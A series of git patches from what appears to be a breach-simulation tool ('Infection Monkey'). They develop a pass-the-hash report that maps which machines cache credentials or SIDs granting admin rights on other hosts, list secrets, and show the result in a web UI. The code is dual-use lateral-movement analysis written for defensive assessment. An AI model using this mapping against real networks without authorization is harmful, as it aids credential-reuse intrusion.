self.GetSidsByUsername(sid[len("__USERNAME__"):]) + if len(s) == 1: + sids.add(s.pop()) + else: + sids.add(sid) + + else: + sids.add(sid) + + return sids + @cache def GetThreateningUsersByVictim(self, victim): threatening_users = set() for attacker in self.GetAttackersByVictim(victim): - threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) + threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) return threatening_users @@ -1099,12 +1118,7 @@ def main(): print """

        Cached SIDs

        """ print """

        SIDs cached on this machine

        """ print """
          """ - for sid in m.GetCachedSids(): - if sid.startswith("__USERNAME__"): - sids = pth.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(sids) == 1: - sid = sids.pop() - + for sid in pth.GetCachedSids(m): print """
        • {username} ({sid})
        • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
        """ From d0ce419ae04672170e9a10e1df6434d84939fe66 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 13:07:19 +0300 Subject: [PATCH 078/243] add GetAttackersBySid --- monkey_island/cc/resources/pthmap.py | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index a53277e5d..68a0c998e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -831,6 +831,16 @@ class PassTheHashMap(object): return set(map(Machine, attackers)) + @cache + def GetAttackersBySid(self, sid): + machines = set() + + for m in self.machines: + if sid in self.GetCachedSids(m): + machines.add(m) + + return machines + @cache def GetVictimsByAttacker(self, attacker): if type(attacker) != unicode: @@ -1166,11 +1176,17 @@ def main():

        Secret: '{secret}'

        """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) - print """

        Attackable Machines

        """ + print """

        Possible Victims Machines

        """ print """
          """ for m in pth.GetVictimsBySid(sid): print """
        • {ip} ({hostname})
        • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
        """ + + print """

        Possible Attackers Machines

        """ + print """
          """ + for m in pth.GetAttackersBySid(sid): + print """
        • {ip} ({hostname})
        • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
        """ for secret in pth.GetAllSecrets(): print """

        Secret '{secret}'

        """.format(secret=secret) From 3cff5edffeaab34fc6ada4a665752062421115a7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 13:49:23 +0300 Subject: [PATCH 079/243] deepcopy cahced object before returing it --- monkey_island/cc/resources/pthmap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 68a0c998e..ffb681c75 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,5 +1,6 @@ import hashlib import binascii +import copy from pymongo import MongoClient class mongo(object): @@ -106,7 +107,7 @@ def cache(foo): if hashed not in foo._mycache_.keys(): foo._mycache_[hashed] = foo(*args, **kwargs) - return foo._mycache_[hashed] + return copy.deepcopy(foo._mycache_[hashed]) return wrapper From 29e85a868b151e4a00d943471c16b2eee18893e3 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 14:20:09 +0300 Subject: [PATCH 080/243] make attackers more visibile in table --- monkey_island/cc/resources/pthmap.py | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index ffb681c75..f9819dd79 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -120,6 +120,12 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + def __eq__(self, other): + if isinstance(other, self.__class__): + return self.monkey_guid == other.monkey_guid + else: + return False + @cache def GetMimikatzOutput(self): doc = self.latest_system_info @@ -940,6 +946,7 @@ class PassTheHashMap(object): def main(): pth = PassTheHashMap() + print """""" print "

        Pass The Hash Report

        " print "

        Duplicated Passwords

        " @@ -1010,7 +1017,13 @@ def main(): print """
        """ print """
        IpHostnameDomainCritical Services InstalledShared User CountShared Users
          """ - for sid in pth.GetThreateningUsersByVictim(m): + for sid in pth.GetSharedAdmins(m): print """
        • {username}
        • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) print """
          """ for sid in pth.GetThreateningUsersByVictim(m): - print """
        • {username}
        • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
        • {username} attackers:
            """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + for mm in pth.GetAttackersBySid(sid): + if m == mm: + continue + print """
          • {ip}
          • """.format(ip=mm.GetIp()) + print """
        • """ print """
        """ @@ -1034,7 +1047,13 @@ def main(): print """
        """ for sid in pth.GetThreateningUsersByVictim(m): - print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
      • {username} attackers:
          """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + for mm in pth.GetAttackersBySid(sid): + if m == mm: + continue + print """
        • {ip}
        • """.format(ip=mm.GetIp()) + print """
      • """ print """
      """ @@ -1177,13 +1196,13 @@ def main():

      Secret: '{secret}'

      """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) - print """

      Possible Victims Machines

      """ + print """

      Machines the sid is local admin on

      """ print """
        """ for m in pth.GetVictimsBySid(sid): print """
      • {ip} ({hostname})
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
      """ - print """

      Possible Attackers Machines

      """ + print """

      Machines the sid is in thier cache

      """ print """
        """ for m in pth.GetAttackersBySid(sid): print """
      • {ip} ({hostname})
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) From 88cb74ce12a8c952b6550bf582cedf37de096bd8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 14:28:51 +0300 Subject: [PATCH 081/243] hide junk --- monkey_island/cc/resources/pthmap.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f9819dd79..7472a4476 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -946,7 +946,7 @@ class PassTheHashMap(object): def main(): pth = PassTheHashMap() - print """""" + print """""" print "

        Pass The Hash Report

        " print "

        Duplicated Passwords

        " @@ -1058,6 +1058,7 @@ def main(): print """
    """ + print """""" if __name__ == "__main__": main() \ No newline at end of file From cec7ef6071c2fa34b2aebaab14a07c126a414c06 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:23:16 +0300 Subject: [PATCH 082/243] rename --- monkey_island/cc/resources/{pthmap.py => pthreport.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey_island/cc/resources/{pthmap.py => pthreport.py} (100%) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthreport.py similarity index 100% rename from monkey_island/cc/resources/pthmap.py rename to monkey_island/cc/resources/pthreport.py From cad048119d8493327a0b932c6404e250018d07b4 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:26:46 +0300 Subject: [PATCH 083/243] split pth to be able to run standalone and in website --- monkey_island/cc/resources/pthmap.py | 21 +++++++++++++ monkey_island/cc/resources/pthreport.py | 41 ++++++------------------- 2 files changed, 30 insertions(+), 32 deletions(-) create mode 100644 monkey_island/cc/resources/pthmap.py diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py new file mode 100644 index 000000000..c59bb90cd --- /dev/null +++ b/monkey_island/cc/resources/pthmap.py @@ -0,0 +1,21 @@ +import hashlib +import binascii +import copy +import flask_restful +from pthreport import PassTheHashReport + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + graph = PassTheHashReport() + + return \ + { + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] + } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 7472a4476..664732dfb 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1,38 +1,15 @@ import hashlib import binascii import copy -from pymongo import MongoClient -class mongo(object): - db = MongoClient().monkeyisland +if __name__ == "__main__": + from pymongo import MongoClient -#class PthMap(flask_restful.Resource): -class PthMap(object): - #@jwt_required() - def get(self, **kw): - graph = PassTheHashMap() - - return \ - { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] - } - -if not __name__ == "__main__": - import flask_restful - - from cc.auth import jwt_required - from cc.services.edge import EdgeService - from cc.services.node import NodeService + class mongo(object): + db = MongoClient().monkeyisland +else: from cc.database import mongo - PthMapOrig = PthMap - - class PthMap(flask_restful.Resource): - @jwt_required() - def get(self, **kw): - return PthMapOrig.get(self, **kw) - DsRole_RoleStandaloneWorkstation = 0 DsRole_RoleMemberWorkstation = 1 DsRole_RoleStandaloneServer = 2 @@ -88,8 +65,8 @@ def cache(foo): elif type(o) == PthMap: return "PthMapSingleton" - elif type(o) == PassTheHashMap: - return "PassTheHashMapSingleton" + elif type(o) == PassTheHashReport: + return "PassTheHashReportSingleton" else: assert False, "%s of type %s is not hashable" % (repr(o), type(o)) @@ -564,7 +541,7 @@ class Machine(object): return names -class PassTheHashMap(object): +class PassTheHashReport(object): def __init__(self): self.vertices = self.GetAllMachines() @@ -944,7 +921,7 @@ class PassTheHashMap(object): return shared_admins def main(): - pth = PassTheHashMap() + pth = PassTheHashReport() print """""" print "

    Pass The Hash Report

    " From 0fe5a20a6b6397d4723689b6b9e167c0250835d7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:37:23 +0300 Subject: [PATCH 084/243] fix --- monkey_island/cc/resources/pthreport.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 664732dfb..f3707135c 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -62,8 +62,8 @@ def cache(foo): elif type(o) == Machine: return o.monkey_guid - elif type(o) == PthMap: - return "PthMapSingleton" +# elif type(o) == PthMap: +# return "PthMapSingleton" elif type(o) == PassTheHashReport: return "PassTheHashReportSingleton" From f6ebf0b51c445c491a76dab9f446015101e8e661 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:29:02 +0300 Subject: [PATCH 085/243] fix bug not running the edge generation functions due to caching --- monkey_island/cc/resources/pthmap.py | 13 +++++---- monkey_island/cc/resources/pthreport.py | 37 +++++++++++++++++++------ 2 files changed, 36 insertions(+), 14 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index c59bb90cd..5230ef30e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport +from pthreport import PassTheHashReport, Machine from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -12,10 +12,13 @@ from cc.database import mongo class PthMap(flask_restful.Resource): @jwt_required() def get(self, **kw): - graph = PassTheHashReport() - + pth = PassTheHashReport() + + v = copy.deepcopy(pth.vertices) + e = copy.deepcopy(pth.edges) + return \ { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index f3707135c..313ef6a20 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -542,14 +542,21 @@ class Machine(object): return names class PassTheHashReport(object): + #_instance = None + #def __new__(class_, *args, **kwargs): + # if not class_._instance: + # class_._instance = object.__new__(class_, *args, **kwargs) + # + # return class_._instance + def __init__(self): self.vertices = self.GetAllMachines() - self.edges = set() self.machines = map(Machine, self.vertices) - self.GenerateEdgesBySid() # Useful for non-cached domain users - self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + self.edges = set() + self.edges |= self.GetEdgesBySid() # Useful for non-cached domain users + self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username @cache def GetAllMachines(self): @@ -587,7 +594,9 @@ class PassTheHashReport(object): return ",\n".join(label) @cache - def GenerateEdgesBySid(self): + def GetEdgesBySid(self): + edges = set() + for attacker in self.vertices: cached = self.GetCachedSids(Machine(attacker)) @@ -599,10 +608,14 @@ class PassTheHashReport(object): if len(cached & admins) > 0: label = self.ReprSidList(cached & admins, attacker, victim) - self.edges.add((attacker, victim, label)) + edges.add((attacker, victim, label)) + + return edges @cache - def GenerateEdgesBySamHash(self): + def GetEdgesBySamHash(self): + edges = set() + for attacker in self.vertices: cached_creds = set(Machine(attacker).GetCachedCreds().items()) @@ -614,10 +627,14 @@ class PassTheHashReport(object): if len(cached_creds & admin_creds) > 0: label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - self.edges.add((attacker, victim, label)) + edges.add((attacker, victim, label)) + + return edges @cache - def GenerateEdgesByUsername(self): + def GetEdgesByUsername(self): + edges = set() + for attacker in self.vertices: cached = Machine(attacker).GetCachedUsernames() @@ -628,7 +645,9 @@ class PassTheHashReport(object): admins = Machine(victim).GetAdminNames() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + edges.add((attacker, victim)) + + return edges @cache def Print(self): From 2724e671f7bb502c92ebee9f64077037e35a5ed8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:42:51 +0300 Subject: [PATCH 086/243] try --- monkey_island/cc/resources/pthmap.py | 11 +++++++--- monkey_island/cc/resources/pthreport.py | 22 ++++++++++++++++++- .../components/pages/PassTheHashMapPage.js | 4 +++- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 5230ef30e..05d1bf7ef 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport, Machine +from pthreport import PassTheHashReport, Machine, get_report_html from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -19,6 +19,11 @@ class PthMap(flask_restful.Resource): return \ { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] + "graph": { + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] + }, + + "report_html": get_report_html() } + diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 313ef6a20..30cc83338 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,4 +1228,24 @@ def main(): print """
    """ if __name__ == "__main__": - main() \ No newline at end of file + main() + + +from cStringIO import StringIO +import sys + +class Capturing(list): + def __enter__(self): + self._stdout = sys.stdout + sys.stdout = self._stringio = StringIO() + return self + def __exit__(self, *args): + self.extend(self._stringio.getvalue().splitlines()) + del self._stringio # free up some memory + sys.stdout = self._stdout + +def get_report_html(): + with Capturing() as output: + main() + + return "\n".join(output) diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 26ce71cc9..d60ce0abb 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,6 +29,7 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, + report_html: "", selected: null, selectedType: null, killPressed: false, @@ -55,7 +56,7 @@ class PassTheHashMapPageComponent extends AuthComponent { this.authFetch('/api/pthmap') .then(res => res.json()) .then(res => { - this.setState({graph: res}); + this.setState({graph: res["graph"], report_html: res["report_html"]}); this.props.onStatusChange(); }); }; @@ -70,6 +71,7 @@ class PassTheHashMapPageComponent extends AuthComponent {
    +
    {this.state.report_html}
    ); From c298544f22b0f1f5f350bec8eae9f5a02578275c Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:52:08 +0300 Subject: [PATCH 087/243] Revert "try" This reverts commit 2724e671f7bb502c92ebee9f64077037e35a5ed8. --- monkey_island/cc/resources/pthmap.py | 11 +++------- monkey_island/cc/resources/pthreport.py | 22 +------------------ .../components/pages/PassTheHashMapPage.js | 4 +--- 3 files changed, 5 insertions(+), 32 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 05d1bf7ef..5230ef30e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport, Machine, get_report_html +from pthreport import PassTheHashReport, Machine from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -19,11 +19,6 @@ class PthMap(flask_restful.Resource): return \ { - "graph": { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] - }, - - "report_html": get_report_html() + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] } - diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 30cc83338..313ef6a20 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,24 +1228,4 @@ def main(): print """""" if __name__ == "__main__": - main() - - -from cStringIO import StringIO -import sys - -class Capturing(list): - def __enter__(self): - self._stdout = sys.stdout - sys.stdout = self._stringio = StringIO() - return self - def __exit__(self, *args): - self.extend(self._stringio.getvalue().splitlines()) - del self._stringio # free up some memory - sys.stdout = self._stdout - -def get_report_html(): - with Capturing() as output: - main() - - return "\n".join(output) + main() \ No newline at end of file diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index d60ce0abb..26ce71cc9 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,7 +29,6 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, - report_html: "", selected: null, selectedType: null, killPressed: false, @@ -56,7 +55,7 @@ class PassTheHashMapPageComponent extends AuthComponent { this.authFetch('/api/pthmap') .then(res => res.json()) .then(res => { - this.setState({graph: res["graph"], report_html: res["report_html"]}); + this.setState({graph: res}); this.props.onStatusChange(); }); }; @@ -71,7 +70,6 @@ class PassTheHashMapPageComponent extends AuthComponent {
    -
    {this.state.report_html}
    ); From 6019432a2b980f63615001eb8a250774fbc27c0e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 22 May 2018 03:00:06 -0700 Subject: [PATCH 088/243] pth report is now shown also in the website --- monkey_island/cc/app.py | 2 ++ monkey_island/cc/resources/pthreport.py | 21 ++++++++++++++++++- monkey_island/cc/resources/pthreporthtml.py | 21 +++++++++++++++++++ .../components/pages/PassTheHashMapPage.js | 8 +++++++ 4 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 monkey_island/cc/resources/pthreporthtml.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 981cf3de1..33d1bb53b 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -19,6 +19,7 @@ from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.pthmap import PthMap +from cc.resources.pthreporthtml import PthReportHtml from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -106,5 +107,6 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') + api.add_resource(PthReportHtml, '/api/pthreport', '/api/pthreport/') return app diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 313ef6a20..b89a8b078 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,4 +1228,23 @@ def main(): print """""" if __name__ == "__main__": - main() \ No newline at end of file + main() + +from cStringIO import StringIO +import sys + +class Capturing(list): + def __enter__(self): + self._stdout = sys.stdout + sys.stdout = self._stringio = StringIO() + return self + def __exit__(self, *args): + self.extend(self._stringio.getvalue().splitlines()) + del self._stringio # free up some memory + sys.stdout = self._stdout + +def get_report_html(): + with Capturing() as output: + main() + + return "\n".join(output) \ No newline at end of file diff --git a/monkey_island/cc/resources/pthreporthtml.py b/monkey_island/cc/resources/pthreporthtml.py new file mode 100644 index 000000000..8aa10870f --- /dev/null +++ b/monkey_island/cc/resources/pthreporthtml.py @@ -0,0 +1,21 @@ +import hashlib +import binascii +import copy +import flask_restful +from pthreport import PassTheHashReport, Machine, get_report_html + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +class PthReportHtml(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + pth = PassTheHashReport() + html = get_report_html() + + return \ + { + "html": html + } diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 26ce71cc9..2ac43f094 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,6 +29,7 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, + report: "", selected: null, selectedType: null, killPressed: false, @@ -58,6 +59,12 @@ class PassTheHashMapPageComponent extends AuthComponent { this.setState({graph: res}); this.props.onStatusChange(); }); + this.authFetch('/api/pthreport') + .then(res => res.json()) + .then(res => { + this.setState({report: res.html}); + this.props.onStatusChange(); + }); }; render() { @@ -70,6 +77,7 @@ class PassTheHashMapPageComponent extends AuthComponent {
    +
    ); From c91aee3129aa536caeeaec52582f36de80c16e95 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 12:27:06 +0300 Subject: [PATCH 089/243] Add documentation --- infection_monkey/network/network_scanner.py | 6 +++++ monkey_island/cc/services/report.py | 28 ++++++++++++++++++--- 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index b4cc6a8e6..65fd473b3 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -40,6 +40,12 @@ class NetworkScanner(object): LOG.info("Base local networks to scan are: %r", self._ranges) def _get_inaccessible_subnets_ips(self): + """ + For each of the machine's IPs, checks if it's in one of the subnet groups specified in the + 'inaccessible_subnet_groups' config value. If so, all other subnets in the same group shouldn't be accessible. + All these subnets are returned. + :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. + """ subnets_to_scan = [] for subnet_group in WormConfiguration.inaccessible_subnet_groups: for subnet_str in subnet_group: diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 1b6aaac75..a4dcb7f57 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -313,7 +313,14 @@ class ReportService: return issues @staticmethod - def get_cross_segment_ip(ip_addresses, source_subnet, target_subnet): + def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List of IP addresses to test. + :param source_subnet: Subnet to want an IP to not be in. + :param target_subnet: Subnet we want an IP to be in. + :return: + """ for ip_address in ip_addresses: if target_subnet.is_in_range(ip_address): return None @@ -324,6 +331,13 @@ class ReportService: @staticmethod def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): + """ + Gets list of cross segment issues from source_subnet to target_subnet. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param source_subnet: The subnet which shouldn't be able to access target_subnet. + :param target_subnet: The subnet which shouldn't be accessible from source_subnet. + :return: + """ if source_subnet == target_subnet: return [] source_subnet_range = NetworkRange.get_range_obj(source_subnet) @@ -335,8 +349,10 @@ class ReportService: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(unicode(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = ReportService.get_cross_segment_ip(monkey['ip_addresses'], source_subnet_range, - target_subnet_range) + cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) + if cross_segment_ip is not None: cross_segment_issues.append( { @@ -350,6 +366,12 @@ class ReportService: @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): + """ + Gets list of cross segment issues within given subnet_group. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param subnet_group: List of subnets which shouldn't be accessible from each other. + :return: Cross segment issues regarding the subnets in the group. + """ cross_segment_issues = [] for subnet_pair in itertools.product(subnet_group, subnet_group): From f3742c67d0edaf6a1e245e8c866920406e17716b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 15:56:08 +0300 Subject: [PATCH 090/243] make monkey_island work with common folder --- __init__.py | 1 + infection_monkey/__init__.py | 1 + monkey_island/__init__.py | 1 + monkey_island/cc/environment/environment.py | 2 +- monkey_island/cc/main.py | 6 +++--- 5 files changed, 7 insertions(+), 4 deletions(-) create mode 100644 __init__.py create mode 100644 infection_monkey/__init__.py create mode 100644 monkey_island/__init__.py diff --git a/__init__.py b/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/infection_monkey/__init__.py b/infection_monkey/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/infection_monkey/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey_island/__init__.py b/monkey_island/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey_island/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..0d21358ed 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -9,7 +9,7 @@ ENV_DICT = { def load_env_from_file(): - with open('server_config.json', 'r') as f: + with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() config_json = json.loads(config_content) return config_json['server_config'] diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..722009aa9 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -27,11 +27,11 @@ if __name__ == '__main__': app = init_app(mongo_url) if env.is_debug(): - app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key')) + app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) else: http_server = HTTPServer(WSGIContainer(app), - ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), - 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) + ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'), + 'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')}) http_server.listen(env.get_island_port()) print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() From 0c6f9cb7c26c7f420df751689ac0598d86ba6035 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 16:05:41 +0300 Subject: [PATCH 091/243] Move everything under monkey --- __init__.py => monkey/__init__.py | 0 {common => monkey/common}/__init__.py | 0 {common => monkey/common}/network/__init__.py | 0 {common => monkey/common}/network/network_range.py | 0 .../infection_monkey}/__init__.py | 0 .../infection_monkey}/build_linux.sh | 0 .../infection_monkey}/build_windows.bat | 0 .../infection_monkey}/config.py | 0 .../infection_monkey}/control.py | 0 .../infection_monkey}/dropper.py | 0 .../infection_monkey}/example.conf | 0 .../infection_monkey}/exploit/__init__.py | 0 .../infection_monkey}/exploit/elasticgroovy.py | 0 .../infection_monkey}/exploit/rdpgrinder.py | 0 .../infection_monkey}/exploit/sambacry.py | 0 .../infection_monkey}/exploit/shellshock.py | 0 .../exploit/shellshock_resources.py | 